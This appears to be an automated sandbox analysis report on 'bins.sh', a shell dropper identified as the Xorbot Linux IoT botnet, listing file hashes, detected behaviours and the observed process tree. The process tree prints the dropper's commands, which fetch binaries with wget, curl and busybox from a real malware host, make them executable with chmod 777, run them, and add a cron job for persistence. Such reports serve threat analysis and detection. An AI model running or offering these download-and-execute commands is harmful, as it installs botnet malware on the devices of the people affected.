Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    28/02/2025, 00:31

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    a143188f8eb4f1ec65578ca97c3910b9

  • SHA1

    25f0c491fd127130f5131ca32c4439e10d74109c

  • SHA256

    5143e34bf3393269d1bc6de12af0e0ec3abb0bb7ba6b656e742e8010a278da6e

  • SHA512

    d76964706ecd5338d050d14dbfa2df3499bb795de50494cdb7ad835648403aae57db6edfb5998e0c68ec88a0c390ab6acb73dbb16979432ce1cddaaff8eacf29

  • SSDEEP

    96:1kdkNkBCkDknk/QHdAI+eIMlG+CDc8eoIXaW6d4AIIyJIMHQiG+CDc8zGoIXaW8C:ExQHdAleIMlNoIXaW6jqIMnoIXaW4yt

Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2291) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:1514
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:1515
      • /usr/bin/wget
        wget http://37.44.238.88/bins/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
        2⤵
        • Writes file to tmp directory
        PID:1516
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
        2⤵
        • Writes file to tmp directory
        PID:1520
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
        2⤵
        • Writes file to tmp directory
        PID:1521
      • /bin/chmod
        chmod 777 jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
        2⤵
        • File and Directory Permissions Modification
        PID:1522
      • /tmp/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
        ./jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
        2⤵
        • Renames itself
        • Reads runtime system information
        PID:1523
        • /bin/sh
          sh -c "crontab -l"
          3⤵
            PID:1525
            • /usr/bin/crontab
              crontab -l
              4⤵
                PID:1526
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:1527
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:1528
            • /bin/rm
              rm jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
              2⤵
                PID:1530
              • /usr/bin/wget
                wget http://37.44.238.88/bins/Ebn4mALKCqFUxiDD7nLwC67W6XH5aNJqkn
                2⤵
                  PID:1533

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • /tmp/jPotbzNclxlxUeX0JvSeKy9hfZ5p0asQ6v
                Filesize

                112KB

                MD5

                05d7857dcead18bbd86d2935f591873c

                SHA1

                34d18f41ef35f93d5364ce3e24d74730a4e91985

                SHA256

                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                SHA512

                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                Download Submit

              • /var/spool/cron/crontabs/tmp.arhcA3
                Filesize

                210B

                MD5

                a1fdd83cee98b511bfc81bafb22a7904

                SHA1

                e4456be59078080c3da5c8e295565d903f1eee0d

                SHA256

                481058ca3a78f6371596354765fa1f9f2a288aa0540c638721d1729a931df7cf

                SHA512

                7e8a3712dd1acf01d163c1fbde6720ff5d4cf5aafd59b3a981838a75a6fe2e8022df954ba1a91a534f5c28d2a08ab1a78c1ec739bafe3145537e8a52de5e977f

                Download Submit